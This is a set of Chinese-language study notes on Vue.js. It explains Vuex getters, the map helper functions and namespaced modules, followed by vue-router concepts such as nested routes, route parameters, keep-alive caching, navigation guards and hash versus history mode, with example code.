如果一个没有任何业务逻辑等操作,只是想让这个数据变化一下 (mutations 层干的事), 那么也可以在我们那个组件里面不使用 dispatch 而是直接 commit, 传参数,也就是让 commit 对象里面的对应函数直接按照你给的参数 (或者每给) 做一个操作,改变掉 state 对象里面存的数据,记得就是 commit 传的那个第一个参数要跟 mutations 里面想调用的函数名字要一样 (像之前说过一般是大写,别像 dispatch 里面调用 actions 里面的函数还是小写)

# 5.getters 的使用

  1. 概念:当 state 中的数据需要经过加工后再使用时,可以使用 getters 加工

    有点像计算属性,但计算属性只能给你当前这个组件用,要是想要跟别的共享,那还是需要用 getter 操作 state 里面存的本来的数据

  2. store.js 中追加 getters 配置

......

const getters = {
	bigSum(state){
		return state.sum * 10;   // 得写返回值!!!
	}
}

//创建并暴露store(带上getters)
export default new Vuex.Store({
	......
	getters
})
  1. 组件中读取数据: $store.getters.bigSum (这个 bigSum 存的是个 getters 里面那个 bigSum 返回的值,并不是那个 bigSum 函数本身,跟组件里面的计算属性很像)

这样所有的组件都能用到这个计算过后的属性

注意那个 actions 里面函数传进来的上下文对象上面也有 getters 属性

# 6. 四个 map 方法的使用

先在要引入数据的组件里面从 vuex 导入 mapState

image-20220204100307741

  1. mapState 方法: 用于帮助我们映射 state 中的数据为计算属性
computed: {
    //借助mapState生成计算属性:sum、school、subject(对象写法)
     ...mapState({sum:'sum',school:'school',subject:'subject'}),
         
    //借助mapState生成计算属性:sum、school、subject(数组写法)
    ...mapState(['sum','school','subject']),
},

上方其实传入 mapState 函数的对象写法里面那些键其实都是字符串 (对象的键必须是字符串,值随便), 只不过我们可以省略掉那个引号

而那个键必须是用引号扩进去的代表字符串,这里我们只是告诉那些我们想要映射的数据名字, 而不是用变量 (不加引号当然 assume 是变量了), 所以需要加引号!!

前面加上扩展运算符 (" ... "), 代表把那个 mapState({sum:'sum',school:'school',subject:'subject'})

的结果 (是个对象,里面每个键存的都是一个函数,这个函数就像我们手动写计算属性一样)

image-20220204101212022

然后现在我们就可以把这些 (he,xueke,xuexiao) 当做当前组件来使用–> 对于 mapState 里面传的是对象的方式

我们就可以把这些 (sum,school,subject) 当做当前组件来使用–> 对于 mapState 里面传的是数组的方式 (如果想同名)

这么做的目的就是为了在想使用 state 里面数据的组件里面直接去调用那个属性 (就像计算属性一样), 就不用像是 this.(模板没有 this.)$store.state.XXXX 这么一大串了,你要是用了 mapState 映射到这个组件里面,你直接 this.XXXX (或者你起的其他名), 其实这个 XXXX 本身也是像计算属性一样存的是个函数然后有个 getter 返回的 state 里面对应属性的值

值得注意的一个点:

image-20220204102046131

因为这种简写方式会默认为那个同名的值是个变量:

image-20220204102124566

这样肯定会报错

(这里,如果同名一般我们都是使用数组方式,很方便)

  1. mapGetters 方法: 用于帮助我们映射 getters 中的数据为计算属性

mapState 只是映射 state 对象里面的数据

mapGetters 帮助我们映射 getters 里面的数据 (相当于 state 里面数据的计算属性数据)

导入 mapGetters

image-20220204102535634

computed: {
    //借助mapGetters生成计算属性从state中读取数据:bigSum(对象写法)
    ...mapGetters({bigSum:'bigSum'}),

    //借助mapGetters生成计算属性:bigSum(数组写法)
    ...mapGetters(['bigSum'])
},
  1. mapActions 方法: 用于帮助我们生成与 actions 对话的方法,即:包含 $store.dispatch(xxx) 的函数
methods:{
    //靠mapActions生成:incrementOdd、incrementWait(对象形式)
    ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

    //靠mapActions生成:incrementOdd、incrementWait(数组形式)
    ...mapActions(['jiaOdd','jiaWait'])
}

注意点跟 mapMutations 方式一样

  1. mapMutations 方法: 用于帮助我们生成与 mutations 对话的方法,即:包含 $store.commit(xxx) 的函数

image-20220204103853834

methods:{
    //靠mapActions生成:increment、decrement(对象形式)
    ...mapMutations({increment:'JIA',decrement:'JIAN'}),
    
    //靠mapMutations生成:JIA、JIAN(对象形式)
    ...mapMutations(['JIA','JIAN']),
}

备注:mapActions 与 mapMutations 使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象 (复习我们之前学的一样,如果模板中使用了函数而且不传参数,而这个函数反而有一个参数,那么那个参数默认会被系统传过去那个事件对象)。

image-20220204103614770

需要在我们调用的时候去传参数

image-20220204103701946

最后总结:

  • …mapGetters () 和…mapState () 写在要用数据的组件的 computed 里面
  • …mapActions () 和…mapMutations () 写在要改数据的组件的 methods 里面 (记得要传参数就要在调用的时候传)

# 7. 模块化 + 命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。

  2. 修改 store.js

const countAbout = {
  namespaced:true,//开启命名空间
  state:{x:1},
  mutations: { ... },
  actions: { ... },
  getters: {
    bigSum(state){
       return state.sum * 10
    }
  }
}

const personAbout = {
  namespaced:true,//开启命名空间
  state:{ ... },
  mutations: { ... },
  actions: { ... }
}

const store = new Vuex.Store({
  modules: {
    countAbout,
    personAbout
  }
})

_注意 modules !!!_

  1. 开启命名空间后,组件中读取 state 数据:
//方式一:自己直接读取
this.$store.state.personAbout.list
//方式二:借助mapState读取:
...mapState('countAbout',['sum','school','subject']),
...mapState('personAbout',['personAbout里面states存的数据']),//可以是多个mapState

第一个参数就是我们在实例化 store 给的那个配置名字,也就是包含了那一分类的 states,actions,mutations,getters

要让这个第一个参数奏效,我们还需要再那个 store 配置的那个对应的对象里面设置 namespaced:true 才可以

  1. 开启命名空间后,组件中读取 getters 数据:
//方式一:自己直接读取
this.$store.getters['personAbout/firstPersonName']
//方式二:借助mapGetters读取:
...mapGetters('countAbout',['bigSum'])
  1. 开启命名空间后,组件中调用 dispatch
   //方式一:自己直接dispatch
   this.$store.dispatch('personAbout/addPersonWang',person);  // 加"/"并在前面写是哪个模块的mutations
   //方式二:借助mapActions:
   ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
或者数据写法也可以
  1. 开启命名空间后,组件中调用 commit
   //方式一:自己直接commit
   this.$store.commit('personAbout/ADD_PERSON',person); // 加"/"并在前面写是哪个模块的mutations
   //方式二:借助mapMutations:
   ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
或者数据写法也可以

考虑模块化就需要各种映射的时候第一个参数带上想要的模块等等等 (这样就可以直接获取到数据或者等等等,而不是需要。调用一个接一个)

记得要在 store 文件中使用 modules, 而且名字等等等 namespaced:true

每个模块的 state 属于他自己,在那里面用指的就是他自己的 state, 不是别的,更不是总的 state (store 上面的 state 属性)

store 的 state 属性是存的这所有模块对象,然后在这个 state 里面的每个模块对象里面还有自己的 state 里面存的数据,以及 getters and setters

但是模块的 getters 不一样

image-20220204131706098

所以从 getters 里面取出数据需要是这种方式:

image-20220204131840445

所以还不如用 map… 映射数据或者改变数据通过 mapActions 或者 mapMutations


# 路由

# 路由简介

image-20210719165729769

SPA 应用 (单页面应用)

image-20210719170143304

image-20210719170850609

  • vue-router 是 vue 的一个插件库,专门用来实现 SPA 应用
  • 对 SPA 应用的理解:
    • 单页 web 应用 (single page web application,SPA)
    • 整个应用只有一个完整的页面
    • 点击页面中的导航链接不会刷新页面,只会做页面的局部更新
    • 数据需要通过 ajax 请求获取
  • 什么是路由?
    • 一个路由就是一组映射关系 (key value)
    • key 为路径 value 可能是 function 或 component
  • 路由分类
    • 前端路由
      • 理解:value 是 component,用于展示页面内容
      • 工作过程:当浏览器的路径改变时,对应的组件就会显示
    • 后端路由
      • 理解:value 是 function,用于处理客户端提交的请求
      • 工作过程:服务器收到一个请求时, 根据请求路径找到匹配的函数来处理请求,返回相应数据

# 1. 理解

# 1.1. 说明

  1. 官方提供的用来实现 SPA 的 vue 插件
  2. github: https://github.com/vuejs/vue-router
  3. 中文文档: http://router.vuejs.org/zh-cn/
  4. 下载: npm install vue-router --save

# 1.2. 相关 API 说明

  1. VueRouter (): 用于创建路由器的构建函数
new VueRouter({
// 多个配置项
})
  1. 路由配置
routes: [
	{ // 一般路由
		path: '/about',
		component: About
	},
	{ // 自动跳转路由
		path: '/',
		redirect: '/about'
	}
]
  1. 注册路由器
import router from './router'
new Vue({
	router
})
  1. 使用路由组件标签

  2. <router-link> : 用来生成路由链接

<router-link to="/xxx">Go to XXX</router-link>
  1. <router-view> : 用来显示当前路由组件界面
<router-view></router-view>

# 2. 基本路由

# 2.1. 效果

# 2.2. 路由组件

Home.vue
About.vue

# 2.3. 应用组件: App.vue

<template>
  <div>
    <div class="row">
      <div class="col-xs-offset-2 col-xs-8">
        <div class="page-header"><h2>Router Test</h2></div>
      </div>
    </div>

    <div class="row">
      <div class="col-xs-2 col-xs-offset-2">
        <div class="list-group">
          <!--生成路由链接-->
          <router-link to="/about" class="list-group-item">About</router-link>
          <router-link to="/home" class="list-group-item">Home</router-link>
        </div>
      </div>
      <div class="col-xs-6">
        <div class="panel">
          <div class="panel-body">
            <!--显示当前组件-->
            <keep-alive>
              <router-view msg="abc"></router-view>
            </keep-alive>
          </div>
        </div>
      </div>
    </div>
  </div>
</template>

# 2.4. 路由器模块: src/router/index.js

import Vue from 'vue'
import Router from 'vue-router'

import About from '../pages/About'
import Home from '../pages/Home'

Vue.use(Router)

export default new Router({
  routes: [
    {
      path: '/about',
      component: About
    },
    {
      path: '/home',
      component: Home
    },
    {
      path: '/',
      component: About
    }
  ]
})

# 2.5. 注册路由器: main.js

import Vue from 'vue'
import App from './App'
import router from './router'

Vue.config.productionTip = false

/* eslint-disable no-new */
new Vue({ // 配置对象的属性名都是一些确定的名称,不能随便修改
  el: '#app',
  router,
  components: { App },
  template: '<App/>'
})

# 2.6. 优化路由器配置

linkActiveClass: 'active', // 指定选中的路由链接的class

# 2.7. 总结:编写使用路由的 3 步

  1. 定义路由组件
  2. 注册路由
  3. 使用路由
<router-link>
<router-view>

# 3. 嵌套路由

# 3.1. 效果

# 3.2. 子路由组件

# News.vue

<template>
  <ul>
    <li v-for="(news, index) in newsArr" :key="index">{{ news }}</li>
  </ul>
</template>

<script>
export default {
  data() {
    return {
      newsArr: ["news001", "news002", "news003", "news004"],
    };
  },
};
</script>

<style>
</style>

# Message.vue

<template>
  <ul>
    <li v-for="message in messages" :key="message.id">
      <a href="#">{{ message.title }}</a>
    </li>
  </ul>
</template>

<script> export default {
  data() {
    return {
      messages: [],
    };
  },
  mounted() {
    //模拟ajax请求从后台获取数据
    setTimeout(() => {
      const messages = [
        {
          id: 1,
          title: "message001",
        },
        {
          id: 2,
          title: "message002",
        },
        {
          id: 3,
          title: "message003",
        },
      ];
      this.messages = messages;
    }, 1000);
  },
}; </script>

<style>  </style>

# 3.3. 配置嵌套路由: src/router/index.js

import Vue from 'vue'
import Router from 'vue-router'

import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'

Vue.use(Router)

export default new Router({
  routes: [
    {
      path: '/about',
      component: About
    },
    {
      path: '/home',
      component: Home,
      children: [
        {
          // path: '/news' // path最左侧斜杠代表根路径
          path: '/home/news', //完整写法
          component: News
        },
        {
          path: 'message', // 简化写法
          component: Message
        },
        { //设置默认显示
          path: '',
          redirect: '/home/news'
        }
      ]
    },
    { //设置默认显示
      path: '/',
      redirect: '/about'
    }
  ]
})

# 3.4. 路由链接: Home.vue

<template>
  <div>
    <h2>Home</h2>
    <div>
      <ul class="nav nav-tabs">
        <li>
          <router-link to="/home/news">News</router-link>
          <router-link to="/home/message">Message</router-link>
        </li>
      </ul>

      <div>
        <router-view></router-view>
        <hr />
      </div>
    </div>
  </div>
</template>

<script>
export default {};
</script>

<style>
</style>

# 4. 向路由组件传递数据

# 4.1. 效果

# 4.2. 方式 1: 路由路径携带参数 (param/query)

  1. 配置路由
children: [
	{
	path: 'mdetail/:id',
	component: MessageDetail
	}
]
  1. 路由路径
<router-link :to="'/home/message/mdetail/'+m.id">{{m.title}}</router-link>
  1. 路由组件中读取请求参数
this.$route.params.id

# 4.3. 方式 2: <router-view> 属性携带数据

<router-view :msg="msg"></router-view>

然后组件用 props 接收

# 示例

# MessageDetail.vue

<template>
  <ul>
    <li>id: {{ messageDetail.id }}</li>
    <li>title: {{ messageDetail.title }}</li>
    <li>content: {{ messageDetail.content }}</li>
  </ul>
</template>

<script> export default {
  data() {
    return {
      messageDetail: {
        id: "",
        title: "",
        content: "",
      },
    };
  },
  mounted() {
    setTimeout(() => {
      const allMessageDetails = [
        {
          id: 1,
          title: "message001",
          content: "message001 content...",
        },
        {
          id: 2,
          title: "message002",
          content: "message002 content...",
        },
        {
          id: 3,
          title: "message003",
          content: "message003 content...",
        },
      ];
      this.allMessageDetails = allMessageDetails;
      const id = this.$route.params.id * 1;
      this.messageDetail = allMessageDetails.find((detail) => detail.id === id);
    }, 1000);
  },
  watch: {
    $route: function(value){ // 路由路径(param)发生了改变
    const id = value.params.id * 1;
      this.messageDetail = this.allMessageDetails.find((detail) => detail.id === id);

    }
  }
}; </script>

<style>  </style>

# index.js

import Vue from 'vue'
import Router from 'vue-router'

import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import MessageDetail from '../pages/MessageDetail'

Vue.use(Router)

export default new Router({
  routes: [
    {
      path: '/about',
      component: About
    },
    {
      path: '/home',
      component: Home,
      children: [
        {
          // path: '/news' // path最左侧斜杠代表根路径
          path: '/home/news', //完整写法
          component: News
        },
        {
          path: 'message', // 简化写法
          component: Message,
          children: [
            {
              path: '/home/message/detail/:id',
              component: MessageDetail
            }
          ]
        },
        { //设置默认显示
          path: '',
          redirect: '/home/news'
        }
      ]
    },
    { //设置默认显示
      path: '/',
      redirect: '/about'
    }
  ]
})

# 5. 缓存路由组件对象

# 5.1. 理解

  1. 默认情况下,被切换的路由组件对象会死亡释放,再次回来时是重新创建的
  2. 如果可以缓存路由组件对象,可以提高用户体验

# 5.2. 编码实现

<keep-alive>
	<router-view></router-view>
</keep-alive>

# 6. 编程式路由导航

# 6.1. 效果

# 6.2. 相关 API

  1. this.$router.push(path) : 相当于点击路由链接 (可以返回到当前路由界面)
  2. this.$router.replace(path) : 用新路由替换当前路由 (不可以返回到当前路由界面)
  3. this.$router.back() : 请求 (返回) 上一个记录路由
  4. this.$router.go(-1) : 请求 (返回) 上一个记录路由
  5. this.$router.go(1) : 请求下一个记录路由

# 示例

# Message.vue

<template>
  <div>
    <ul>
      <li v-for="message in messages" :key="message.id">
        <!-- <a href="#">{{ message.title }}</a> -->
        <router-link :to="`/home/message/detail/${message.id}`">{{
          message.title
        }}</router-link>
        <button @click="pushShow(message.id)">push查看</button>
        <button @click="replaceShow(message.id)">replace查看</button>
      </li>
    </ul>
    <button @click="$router.back()">回退</button>
    <hr />
    <router-view></router-view>
  </div>
</template>

<script> export default {
  data() {
    return {
      messages: [],
    };
  },
  methods: {
    pushShow(id) {
      this.$router.push(`/home/message/detail/${id}`);
    },
    replaceShow(id) {
      this.$router.replace(`/home/message/detail/${id}`);
    },
  },
  mounted() {
    //模拟ajax请求从后台获取数据
    setTimeout(() => {
      const messages = [
        {
          id: 1,
          title: "message001",
        },
        {
          id: 2,
          title: "message002",
        },
        {
          id: 3,
          title: "message003",
        },
      ];
      this.messages = messages;
    }, 1000);
  },
}; </script>

<style>  </style>

# 总结

# 路由

  1. 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
  2. 前端路由:key 是路径,value 是组件。

# 1. 基本使用

  1. 安装 vue-router,命令: npm i vue-router

  2. 应用插件: Vue.use(VueRouter)

  3. 编写 router 配置项:

//引入VueRouter
import VueRouter from 'vue-router'
//引入Luyou 组件
import About from '../components/About'
import Home from '../components/Home'

//创建router实例对象,去管理一组一组的路由规则
const router = new VueRouter({
	routes:[
		{
			path:'/about',
			component:About
		},
		{
			path:'/home',
			component:Home
		}
	]
})

//暴露router
export default router
  1. 实现切换(active-class 可配置高亮样式)
<router-link active-class="active" to="/about">About</router-link>
  1. 指定展示位置
<router-view></router-view>

路由组件跟一般组件不一样,我们只需要在那个设置路由 js 文件里面写好哪个路径对应哪个组件

然后再 App.vue 里面也不需要导入或者注册 (所以跟一般组件不一样), 要用的话就是用 router-link 标签在 template 里面,然后配置好 to 属性,配置好其他属性 (当然也可以用正常标签可以用的,比如说 style… 等等等), 最重要的要配置好 to 属性后面跟着你设置路由 js 哪个路径,前面一定要加 "/"!

这个 router-link 标签其实最后解析会被 vue 解析成 a 标签,如果你想用其他标签比如说 button 来改变路由后面会学到

展示则用 router-view 放到想展示的地方

一旦用户按那个 router-link 标签 (其实是 a 标签), 那么就会到当前 之前路径/#/about 这个地址,我们在路由 js 里面配置了 /about 对应着的 About 组件 (可以是其他任何名), 然后把那个 About 组件的 template 里面的东西都放到 router-view 那里,有点像插槽的意思

所以不需要在 App.vue 导入 About 组件也不需要注册

一般我们

  • 路由组件放 pages 文件夹里面
  • 一般组件放 components 文件夹里面

# 2. 几个注意点

  1. 路由组件通常存放在 pages 文件夹,一般组件通常存放在 components 文件夹。
  2. 通过切换,“隐藏” 了的路由组件,默认是被销毁掉 (destroyed 掉了,向我们之前说过,这个时候要是临死前要干什么就 beforeDestroyed 钩子函数里面设置) 的,需要的时候再去挂载
  3. 每个组件都有自己的 $route 属性,里面存储着自己的路由信息。
  4. 整个应用只有一个 router,可以通过组件的 $router 属性获取到。

所有路由组件在挂载后都会有一个 $route 和一个 $router 属性

  • 每个路由组件的 $route 都是独特的,他自己的
  • 每个路由组件的 $router 属性都是同一个,所有的每个路由组件的 $route 存的都是同一个 router 对象,就是那个路由器

路由器 (router) 对象只有一个!!!

# 3. 多级路由(多级路由)

  1. 配置路由规则,使用 children 配置项:
routes:[
	{
		path:'/about',
		component:About,
	},
	{
		path:'/home',
		component:Home,
		children:[ //通过children配置子级路由
			{
				path:'news', //此处一定不要写:/news
				component:News
			},
			{
				path:'message',//此处一定不要写:/message
				component:Message
			}
		]
	}
]
  1. 跳转(要写完整路径):
<router-link to="/home/news">News</router-link>

# 4. 路由的 query 参数

  1. 传递参数
   <!-- 跳转并携带query参数,to的字符串写法 -->
   <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
<router-link :to="`/home/message/detail?id=${各种数据}&title=你${各种数据}`">跳转</router-link>

   <!-- 跳转并携带query参数,to的对象写法 -->
   <router-link 
   	:to="{       
   		path:'/home/message/detail',
   		query:{
   		   id:666,
               title:'你好'
   		}
   	}"
   >跳转</router-link>

注意 to 属性前面加上了 “:” 代表后面的是表达式,然后我们这次给 to 等于个对象,对象里面各种设置

  1. 接收参数:
$route.query.id
$route.query.title

我们那个路由组件自己的 $route 身上有这个 query 属性上面有传的数据

# 5. 命名路由

  • 作用:可以简化路由的跳转。
  • 如何使用:
  1. 给路由命名:
{
	path:'/demo',
	component:Demo,
	children:[
		{
			path:'test',
			component:Test,
			children:[
				{
                      name:'hello' //给路由命名
					path:'welcome',
					component:Hello,
				}
			]
		}
	]
}
  1. 简化跳转:
<!--简化前,需要写完整的路径 -->
<router-link to="/demo/test/welcome">跳转</router-link>

<!--简化后,直接通过名字跳转 -->
<router-link :to="{name:'hello'}">跳转</router-link>

<!--简化写法配合传递参数 -->
<router-link 
	:to="{
		name:'hello',
		query:{
		   id:666,
            title:'你好'
		}
	}"
>跳转</router-link>

# 6. 路由的 params 参数

  1. 配置路由,声明接收 params 参数
{
	path:'/home',
	component:Home,
	children:[
		{
			path:'news',
			component:News
		},
		{
			component:Message,
			children:[
				{
					name:'xiangqing',
					path:'detail/:id/:title', //使用占位符声明接收params参数
					component:Detail
				}
			]
		}
	]
}
  1. 传递参数
<!-- 跳转并携带params参数,to的字符串写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>
				
<!-- 跳转并携带params参数,to的对象写法 -->
<router-link 
	:to="{
		name:'xiangqing',
		params:{
		   id:666,
        title:'你好'
		}
	}"
>跳转</router-link>

特别注意:路由携带 params 参数时,若使用 to 的对象写法,则不能使用 path 配置项,必须使用 name 配置!

  1. 接收参数:
$route.params.id
$route.params.title

# 7. 路由的 props 配置

作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}

# 8. <router-link> 的 replace 属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为 pushreplacepush 是追加历史记录, replace 是替换当前记录。路由跳转时候默认为 push
  3. 如何开启 replace 模式: <router-link replace .......>News</router-link>

# 9. 编程式路由导航

  1. 作用:不借助 <router-link> 实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

//$router的两个API
this.$router.push({
	name:'xiangqing',
		params:{
			id:xxx,
			title:xxx
		}
})

this.$router.replace({
	name:'xiangqing',
		params:{
			id:xxx,
			title:xxx
		}
})
this.$router.forward() //前进
this.$router.back() //后退
this.$router.go() //可前进也可后退, 里面给参数,5代表往前走五步,-3是往后走三步等等

这里是通过按按钮然后触发事件然后调用组件的 $router (路由器) 然后调用方法 replace,push,go 等去哪个 path (或者 name) 然后传的参数 (params 还是 query)

注意就连普通组件 (不是路由组件) 身上也有 $router 属性

# 10. 缓存路由组件

  1. 作用:让不展示的路由组件保持挂载,不被销毁 (之前不是说的默认都会销毁吗,这里不想被销毁然后用的时候再生成新的,我们可以 keep-alive 一下,让那些 dom 还存在,什么 textbox 里面有的信息我们就算切走了也不会被销毁,一回来还能看的到)

  2. 具体编码:

<keep-alive include="News"> 
    <router-view></router-view>
</keep-alive>

上面这个 include="News" 代表想要缓存的路由组件是 News 组件,其他组件不要缓存,这个 News 是__== 组件名!!!==__

所以不是什么各种 path 啊 name 啊啥的

要是不写 include=“News”, 那么将来会在这里展示的组件都会被缓存

如果有多个,也可以:image-20220204161927077

# 11. 两个新的生命周期钩子

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
  2. 具体名字:
    1. activated 路由组件被激活时触发。
    2. deactivated 路由组件失活时触发。

这样就不需要用 mounted 等里面放定时器 (setInterval), 因为这样要是组件被切换掉了,但是你像上面给这个组件配置了 keep-alive 标签 (括起来), 那么说明你展示区切换别的组件你之前的那个组件还存在__并且会一直调用那个 mounted 里面那个定时器的回调函数,所以不想这么做我们就需要在上面这两个钩子里面放那个定时器__

所以在那个组件里面,这么写就很 sensible:

image-20220204162556799

还有个生命周期钩子 $nextTick, 指的是在修改页面后,然后一般用修改页面,然后 $nextTick 等页面渲染好再执行里面的回调函数一般是于基于修改后的页面进行操作

vue 在特殊的时候帮我们调的那些特殊的函数时候就在生命周期函数

# 12. 路由守卫

  • 作用:对路由进行权限控制

  • 分类:全局守卫、独享守卫、组件内守卫

  1. 全局守卫:
//全局前置守卫:!!!!!! 初始化时执行、每次路由切换前执行 !!!!!!
router.beforeEach((to,from,next)=>{ //to 对象是来自于哪里那个路由对象!!, from 对象是去哪里那个路由对象!!
	console.log('beforeEach',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
			next() //放行
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next() //放行
	}
})

//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
	console.log('afterEach',to,from)
	if(to.meta.title){ 
		document.title = to.meta.title //修改网页的title
	}else{
		document.title = 'vue_test'
	}
})

注意上方给那个路由文件中给一个路由组件填写配置项的时候 (其实是给这个路由器他自己) 要传其他自己自定义的属性 isAuth, 需要在那个里面加个 meta 属性,存的是个对象,这个对象里面再设我们想要存的键和值

这是因为配置项跟属性上直接加不一样,配置项都是我们按照规定写的,对象上就直接加完事

  1. 独享守卫:
beforeEnter(to,from,next){
	console.log('beforeEnter',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){
			next()
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next()
	}
}

独享守卫只有前置,没有后置!!!不像全局的还有个后置的

不过我们可以配合全局的后置守卫使用

  1. 组件内守卫:
//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
}

注意跟前置和后置不一样

  • 进入守卫是__通过路由规则__进入当前组件,就会被调用
  • 离开守卫就是__通过路由规则__离开当前组件去别的组件的时候才会被调用
    • 所以这里离开的函数也需要放行 (next) 才可以,跟后置不一样
# The Full Navigation Resolution Flow
  1. Navigation triggered.
  2. Call beforeRouteLeave guards in deactivated components.
  3. Call global beforeEach guards.
  4. Call beforeRouteUpdate guards in reused components.
  5. Call beforeEnter in route configs.
  6. Resolve async route components.
  7. Call beforeRouteEnter in activated components.
  8. Call global beforeResolve guards.
  9. Navigation confirmed.
  10. Call global afterEach hooks.
  11. DOM updates triggered.
  12. Call callbacks passed to next in beforeRouteEnter guards with instantiated instances.

# 13. 路由器的两种工作模式

  1. 对于一个 url 来说,什么是 hash 值?—— #及其后面的内容就是 hash 值。

  2. hash 值不会包含在 HTTP 请求中,即:hash 值不会带给服务器。

  3. hash 模式:

    1. 地址中永远带着 #号,不美观 。
    2. 若以后将地址通过第三方手机 app 分享,若 app 校验严格,则地址会被标记为不合法。
    3. 兼容性较好。
  4. history 模式:

    1. 地址干净,美观 。
    2. 兼容性和 hash 模式相比略差。
    3. 应用部署上线时需要后端人员支持,解决刷新页面服务端 404 的问题。不然你在页面各种点会 url 会按照你路由而改变 (这里并不是请求服务器只是我们路由的设置), 要是这时候刷新会也就是相当于客户端想访问那个刷新前的那个服务器的资源,这当然不行因为我们各种点来点去来着,服务器没有对应的那个资源,不过要是用 hash 模式就不会有这种毛病,加上个 "#" 后面的不会被当做想访问的服务器的资源而是前端路由 only.

    还有解决方式就是让后端进行匹配哪个是前端路由的,哪个是访问服务器的请求的,然后在作出对应的操作

    或者是 nginx 这种代理服务器也会有这种功能